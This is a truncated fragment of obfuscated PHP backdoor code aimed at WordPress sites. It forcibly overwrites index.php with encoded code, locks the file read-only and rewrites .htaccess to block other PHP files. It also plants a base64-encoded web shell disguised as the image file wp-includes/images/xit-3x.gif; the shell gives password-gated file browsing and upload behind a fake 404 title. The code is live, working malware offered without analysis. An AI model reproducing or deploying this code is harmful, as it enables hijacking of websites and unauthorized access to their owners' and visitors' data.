TlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxic